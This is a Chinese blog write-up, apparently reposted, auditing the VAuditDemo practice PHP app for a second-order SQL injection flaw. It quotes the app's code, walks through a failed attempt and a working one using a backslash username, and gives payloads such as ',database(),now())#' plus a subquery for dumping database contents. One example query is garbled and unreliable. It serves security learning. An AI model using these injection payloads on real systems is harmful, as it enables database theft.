VAuditDemo审计之二次注入漏洞

news2024/11/26 12:31:22

目录

VAuditDemo二次注入漏洞

搜索危险函数,用户可控点

regCheck.php

messageSub.php

message.php

漏洞调用链

漏洞错误利用过程

注册用户 xxxx',

发表payload留言

漏洞正确利用过程

注册用户 wwww\

退出用户 wwww\\ 使用 wwww\ 登录

发表留言

替换database()字段


VAuditDemo二次注入漏洞

搜索危险函数,用户可控点

除了文件IO,网络IO(file_get_contents(GET) || curl_exec(POST) || fsockopern),数据库CURD

所有代码审计,我们必须假设攻击者具有很强的技能,不能抱有侥幸心理,就和密码学中的模型一样,假设攻击者的能力如何如何等等

所以我在这里解释一下,为什么选择下面几个页面并溯源和分析出漏洞。因为下面几个页面中所使用的参数都是用户可控的,所以才怀疑这里有漏洞

 addslashes()
 addslashes() 函数在指定的字符串中为以下预定义字符添加反斜杠:
 ​
 单引号 (')
 双引号 (")
 反斜杠 (\)
 NULL 字符(\0)
 这个函数主要用于转义字符串数据,使其能够在诸如数据库查询、文件路径、cookie 存储等场合中安全地使用。然而,需要注意的是,addslashes() 并不总是足够安全地防止 SQL 注入,因为它不会考虑数据库连接的具体字符集和引号样式(如 SQL 语句中的标识符是否可能由反引号包围)。
 ​
 mysql_real_escape_string()
 mysql_real_escape_string() 函数是专门用于转义 SQL 语句中的字符串,以避免 SQL 注入攻击的。它根据当前活动的 MySQL 连接所使用的字符集对字符串中的特殊字符进行转义。这意味着它会转义那些在 SQL 语句中有特殊意义的字符,如:
 ​
 单引号 (')
 双引号 (")(尽管在大多数情况下,SQL 语句中的字符串被单引号包围)
 反斜杠 (\)(在 MySQL 中用于转义特殊字符)
 NULL 字符(\0)在某些情况下可能需要处理,但主要是单引号和反斜杠
 重要的是,mysql_real_escape_string() 还会考虑当前 MySQL 连接使用的 SQL 模式(例如,是否允许 NO_BACKSLASH_ESCAPES),从而更准确地转义字符串。

regCheck.php

 $clean_name = clean_input($_POST['user']);
 $clean_pass = clean_input($_POST['passwd']);
 $avatar = '../images/default.jpg';
 $date = date('Y-m-d');
 INSERT INTO users(user_name,user_pass,user_avatar,join_date) VALUES ('$clean_name',SHA('$clean_pass'),'$avatar','$date')
 ​
 $_SESSION['username'] = $clean_name;

该页面中的SQL语句是无法形成SQL注入漏洞的,因为$clean_name是经过 sec($_POST) 以及 clean_input 两个函数过滤的,然后 SHA('$clean_pass') 是经过哈希处理的一段哈希值,更没指望, $avatar 又是写死的,所以单独这个页面不存在什么问题

messageSub.php

 $clean_message = clean_input($_POST['message']);
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())

经过上方源代码的分析我们可以知道,$_SESSION['username'] 就是 $clean_name ,并且我们知道SQL语句中完全可以不出现特殊字符,比如 select group_concat(user_name,user_passwd) from usersdatabase()没有引号等特殊字符,不符合转移条件,那么这句话就可以原封不动的作为 $clean_message 插入数据库,如果此时 $_SESSION['username'] 碰巧构造出可以转义绕过引号的方式,那么 $clean_message 就是我们的payload,结合下面的文件源代码

message.php

 <?php
     
 $query = "SELECT * FROM comment ORDER BY comment_id";
 $data = mysql_query($query, $conn) or die('Error!!');
 mysql_close($conn);
     
 while($com = mysql_fetch_array($data)) {
     $html['username'] = htmlspecialchars($com['user_name']);
     $html['comment_text'] = htmlspecialchars($com['comment_text']);
     
     echo '<tr>';
     echo '<td>'.$html['username'].'</td>';
     echo '<td><a href="messageDetail.php?id='.$com['comment_id'].'">'.$html['comment_text'].'</td></a>';
     echo '</tr>';
 }
 ?>

一旦messageSub.php可以将 database() 这类似的语句作为 $clean_message 插入数据库,那么 message.php 页面从数据库中取出数据并执行 SELECT SQL语句时,就可以执行 $clean_message 从而将payload的结果输出在页面上,实现爆库,爆表等操作,最终实现拖库

漏洞调用链

  • 用户注册时,通过对用户名中特殊字符的转义绕过,注册成功

  • 之后在messageSub页面中提交构造的message,再结合利用构造的用户名,绕过messageSub中的INSERT SQL语句,

  • 将可以执行的SQL代码作为meassage注入到数据库中,

  • 然后再利用message.php页面的执行SQL语句来查询数据库中的内容然后展现到前端,从而实现SQL语句注入绕过。

漏洞错误利用过程

漏洞原理分析好了之后,此时可以先尝试构造payload ,等payload构造出来了之后就正式开始利用

 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())
 ​
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx\',','database()',now())  -- 这样肯定不行,单引号里的都是字符串
 ​
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx\','database()',now())
 ​
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx\',',database(),now()',now())  -- 此时user_name=xxxx\',   comment_text=database()    pub_date=
 ​
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx\',',database(),now())#',now())
 ​
 paylaod: xxxx\',       ,database(),now())#

注册用户 xxxx',

因为程序将数据在执行INSERT SQL语句时会进行特殊字符转义,此时不会出现漏洞,而数据库中存储内容时,又会将转义符去掉,但是将数据从数据库中取出的时候又会进行转义(messade.php),所以展现在页面上依旧是被转义过后的

image-20240821184919661

image-20240821184757429

image-20240821184733270

如果此时退出再进行登录,可以发现用这个用户登录时,竟然出现错误,并且发现登录的用户名竟然成了 xxxx',

image-20240821185450780

讲一下为什么登录Error,但是依旧该页面user.php登录成功,但是用户却不是之前的用户

image-20240821190630621

如果你要插入的字符串是 xxxx',你在 SQL 语句中应该写成 xxxx\'。数据库在解析 SQL 语句时,会将 \' 解释为一个普通的单引号,而不是字符串的结束符。

  • 注册 regCheck.php

     $_SESSION['username'] = $clean_name;  //此时会将 $_SESSION['username'] 赋值为 xxxx\',
  • 登录 logCheck.php

     $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";
     ​
     $query = "SELECT * FROM users WHERE user_name = 'xxxx\',' AND user_pass = SHA('$clean_pass')";
     ​
     $data = mysql_query($query, $conn) or die('Error!!');
     ​
     if (mysql_num_rows($data) == 1) {
         $row = mysql_fetch_array($data);
         $_SESSION['username'] = $row['user_name'];
         $_SESSION['avatar'] = $row['user_avatar'];
         $ip = sqlwaf(get_client_ip());
         $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
         mysql_query($query, $conn) or die("updata error!");
         header('Location: user.php');
     }

    该页面数据库语句将会执行成功,然后跳转到 user.php 页面,但是从数据库中取出来的用户名还没有及逆行转义就立马赋值给了 $_SESSION['username'] ,导致下面出现的漏洞

  • 页面显示 user.php

     <?php
         $query = "SELECT * FROM users WHERE user_name = '{$_SESSION['username']}'";
         // die($_SESSION['username']);   // xxxx',
         $data = mysql_query( $query, $conn ) or die( 'Error!!' );
     ?>
         
     <div style="float:left;">
         <img src="avatar.php" width="100" height="100" class="img-thumbnail" >
         <div class="text-center"><?php echo $_SESSION['username']?></div>
     </div>

    此时就会弹出Error,因为 通过 die() 函数的调试发现$_SESSION['username'] 的值竟然是 xxxx', 在执行SQL语句时,由于单引号闭合的问题,就会导致SQL语句执行错误。,于是结束代码,但是结束的仅仅是php代码,下面的<div>标签中输出正是页面所显示的

  • 用该用户发表留言试试

    image-20240821192534830

    好吧,这确实是失败了

  • 所以这也是一个小小的漏洞点,也许在其他的地方,根据此次的 $_SESSION['username'] 还会造成问题,还需深入审计

所以需要注意,一旦注册成功这样的用户之后,就不要再退出了,直接去发表留言

发表payload留言

image-20240821193230931

失败了,为什么

我们进入数据库去看看咋回事

image-20240821193732307

image-20240821193719231

navicat中执行没毛病啊wk,数据库也确实成功插入了

对代码进行调试

regCheck.php

image-20240821195343150

message.php

image-20240821195414871

messageSub.php

image-20240821195515651

ok,确实SESSION变量中的内容都是我们所预期的,但是没想到最终问题出现在了提交的内容里面,竟然被转义了,那如果使用无法被转义的payload ,database(),now() 构造的sql如下

 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx\',',database(),now())#',now())

分析着完全没毛病啊,使用代码调试一下

image-20240821200140977

也没有被转义,而且navicat也运行成功了

image-20240821200304751

这到底怎么回事呢?

漏洞正确利用过程

从最开始的SQL语句 直接到 替换payload后的SQL语句就可以看出问题所在wwww'

 SQL语句
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx','database()',now())
 目的要让 ('xxxx','database()',now()) 中的 'xxxx','中的 ', 失效,以便于'database()这个前面的引号与'xxxx这个前面的引号闭合,最后注释最后的引号,让database()单独出来
 用户名为xxxx',时
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx\',',',database(),now())#',now())
 用户名为wwww\时
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('wwww\\',',database(),now())#',now())
 ​
 ​
 错误payload  xxxx\',       ,database(),now())#
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx\',',',database(),now())#',now())
 ​
 正确payload  xxxx\         ,database(),now())#
 此时用户名准确的说错误的,请往下看
 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxxx\',',database(),now())#',now())

注册时,用户名是转义之后存放在 $_SESSION['username'] 中,此时数据库中存储的是去掉转义符的,而登录时直接从数据库中的内容取出来存放在 $_SESSION['username'] 中,此时,用户名存在特殊字符

上面错误的情况构造的payload最终结果与正确时生成的payload完全一样,但为什么上面是错的,下面就是对的?

别忘了,程序中SQL的产生,是将POST中的参数过滤后直接替换掉$query 中的参数,程序的SQL语句可不是构造出来的,而是替换出来的

 错误的情况,仔细看,会发现因为我注册的用户是 xxxx', 所以我不禁多添加了一个单引号,还多添加了一个,逗号
 仔细看正确的情况和错误的情况会发现,引号确实是问题所在,难怪使用这个用户名一直都不成功,虽然payload是一样的,在自己构造的语句中,看似很正确,实则是错误的
 而正确的情况中,将payload直接替换进原始SQL后,引号也没有产生问题。我们要做的就是针对$clean_message这个变量两边的引号,前面的引号与更前面的引号闭合,后面的引号直接注释,不能让引号还作用在语句中

注册用户 wwww\

注册时在用户名处输入 wwww\,因为会对自己输入的 \ 再进行转义,导致他成为合法的用户名

image-20240821220924650

image-20240821215901847

image-20240821220738582

如果此时发表留言,sql语句会如下

 INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('wwww\\',',database(),now())#',now())

而登录时,直接从数据库中取数据赋值,不做过滤处理

image-20240821221018331

image-20240821220954749

所以,现在退出 wwww\\ 用户 登录 wwww\

退出用户 wwww\\ 使用 wwww\ 登录

这个问题,在上面的 灰色内容中 解释过了

image-20240821221149381

代码调试

image-20240821221328830

终于得到了我们想要的内容

发表留言

,database(),now())# 终于成功了

image-20240821221516011

替换database()字段

接下来替换该字段为 user() ,(select group_concat(column_name) from user() where table_schema=database()) 子查询语句即可,最终实现爆库,子查询语句中需要替换user() 和 database() 等字段

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2061042.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《javaEE篇》--定时器

定时器概念 当我们不需要某个线程立刻执行&#xff0c;而是在指定时间点或指定时间段之后执行&#xff0c;假如我们要定期清理数据库里的一些信息时&#xff0c;如果每次都手动清理的话就太麻烦&#xff0c;所以就可以使用定时器。定时器就可以比作一个闹钟&#xff0c;可以让…

C++ 设计模式(6. 适配器模式)

适配器模式Adapter Pattern是一种结构型设计模式&#xff0c;它可以将一个类的接口转换成客户希望的另一个接口&#xff0c;主要目的是充当两个不同接口之间的桥梁&#xff0c;使得原本接口不兼容的类能够一起工作。基本结构 Target 是目标接口&#xff0c;Adaptee 是需要适配的…

微信小程序实例代码解读

以微信 小程序开发工具给的示例代码为例&#xff1a; 主页代码&#xff1a; index.wxml 这个文件是一个微信小程序页面的 WXML 结构,主要功能是展示一个快速开始教程的步骤和内容。 源代码&#xff1a; <!--index.wxml--> <view class"container">&l…

ZK-Rollups测评

1. 引言 Matter Labs团队和多个高校研究人员一起&#xff0c;发布2024年论文《Analyzing and Benchmarking ZK-Rollups》&#xff0c;开源代码见&#xff1a; https://github.com/StefanosChaliasos/zkrollup-benchmarking&#xff08;Python&#xff09; 其中&#xff1a; …

安装MySQL入门基础指令

一.安装MySQL(以5.7版本为例) 1.一路默认安装&#xff0c;截图供大家参考 修改自己window安装名字即可 2.配置环境变量 C:\Program Files\MySQL\MySQL Server 5.7\bin 写入系统环境变量即可在window窗口使用其服务了 3.登录MySQL服务 进入控制台输入命令 mysql -u root …

运维小技能:基于Windows系统和‌Linux系统,以tomcat为案例,讲解如何新增自启动服务。

文章目录 引言‌I Linux系统‌(以CentOS为例)基础知识:运行级别(run level)基于chkconfig 工具,设置服务启动类型。基于systemctl 新增系统服务II 基于Windows系统设置服务自启动的常规操作安装多个tomcat服务,并设置自启动。III 扩展制定定时任务优化停止Tomcat服务命令引…

ESP32Cam人工智能教学20

ESP32Cam人工智能教学20 ESP32Cam专用APP 这次我们专门为ESP32Cam量身定制一个手机APP。手机APP是客户端&#xff0c;利用Socket连接ESP32Cam&#xff0c;ESP32Cam成了服务器&#xff0c;实现Socket全双工的数据传输模式&#xff0c;还可以一边显示摄像头图像&#xff0c;一边…

【Canvas与诗词】北岛诗《献给遇罗克》节选(以太阳的名义...)

【成图】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/> <head><title>以太阳的名义</title><style type"text/css">…

基类没有虚析构,即使派生类使用智能指针也一定会内存泄漏

实验 定义一个基类和一个派生类 class Base { public:virtual ~Base() default; };class Derive :public Base { public:std::shared_ptr<int> sp{new int{0},[](int *p){delete p;std::cout << "删除器" << endl;},}; };main 函数执行如下代码…

作业08.21

服务器&#xff1a; #include <myhead.h>#define SER_PORT 6666 #define SER_IP "127.0.0.1"int find_client(int *client_arr, int len, int client) {for(int i0; i<len; i){if(client_arr[i] client){return i;}}return -1; }void remove_client(int *…

Mac 使用vscode 创建vue项目后修改文件提示:权限不足,以超级用户身份重试

项目场景&#xff1a; Mac 安装了全局 vue-cli 插件后&#xff0c;使用webpack 创建vue项目&#xff0c;打开项目&#xff0c;选择信任所有文件夹&#xff0c;然后正常编写代码&#xff0c;并对项目中的文件进行修改&#xff0c;点击保存的时候提示&#xff1a;保存“webpack.…

Vue3+Ts封装类似el-dialog的对话框组件

提供11个字段对dialog组件进行控制&#xff1a; modelValue: 对话框显示隐藏控制, width: 控制对话框的宽度, height&#xff1a;控制对话框的高度, top: 控制对话框个距离顶部的距离, title: 控制对话框的标题, appendToBody: 是否将对话框添加至body, closeOnClickModa…

GX Works2的使用方法

目录&#xff1a; 1、概述 2、硬件连接 3、录入与修改程序 1&#xff09;进入编辑按F2或点击“写入模式”图标 2&#xff09;修改部分元件 3&#xff09;注释 4&#xff09;改变显示触点数 4、软仿真与在线仿真 1&#xff09;软仿真 2&#xff09;在线仿真 5、P…

Linux源码阅读笔记-USB设备驱动架构

总线速度及主机控制器 USB系统架构 USB系统主机端提供为4个引脚的A型接口&#xff0c;USB外围设备通过4个引脚的B型接口和主机端连接。那4个引脚&#xff08;一条电压线VBUS、一条地线GND、一条正方向传输数据的D和一条反方向传输数据的D-线。&#xff09;USB主机和USB设备收发…

2024年翻译神器:探索四款好用的翻译工具!

因为有了一些翻译工具的存在&#xff0c;语言障碍已经渐渐不成问题。接下来就为大家推荐几款好用的翻译工具&#xff01; 福昕在线翻译 链接&#xff1a; https://fanyi.pdf365.cn/ 福昕在线翻译以其简洁的界面和强大的翻译能力&#xff0c;成为用户跨越语言障碍的首选。它…

独立站PrestaShop安装

独立站PrestaShop安装 独立站PrestaShop安装系统需求下载PrestaShop浏览器下载命令行下载 解压PrestaShop创建数据库移动PrestaShop源码到web目录composer安装依赖包nginx配置访问域名进入安装页面选择语言许可协议系统兼容性店铺信息Content of your store系统配置数据库店铺安…

金矢之lian,非你莫蜀:金矢留学携手16所英国大学共襄成都盛会

碧海蓝天的东海岸&#xff0c;盛夏的热烈未尽&#xff0c;草书云山如锦绣的天府之国&#xff0c;初秋的凉意渐起。近一年的忙碌与等待之后&#xff0c;2024年英国秋季入学申请已近尾声&#xff0c;如愿以偿拿到了录取的同学们&#xff0c;欢欣鼓舞的进入申请签证甚至预定行程机…

nginx实例

nginx的由来 Nginx是由1994年毕业于俄罗斯国立莫斯科鲍曼科技大学的同学为俄罗斯rambler.ru公司开发的&#xff0c;开发工作最早从2002年开始&#xff0c;第一次公开发布时间是2004年10月4日&#xff0c;版本号是0.1.0。2019年3月11日F5 与 NGINX达成协议,F5 将收购 NGINX 的所…

NSSCTF联系记录:[SWPUCTF 2021 新生赛]crypto7

题目&#xff1a; 一共有32个字符&#xff0c;且只有数字和字母&#xff0c;可能为md5加密 得到答案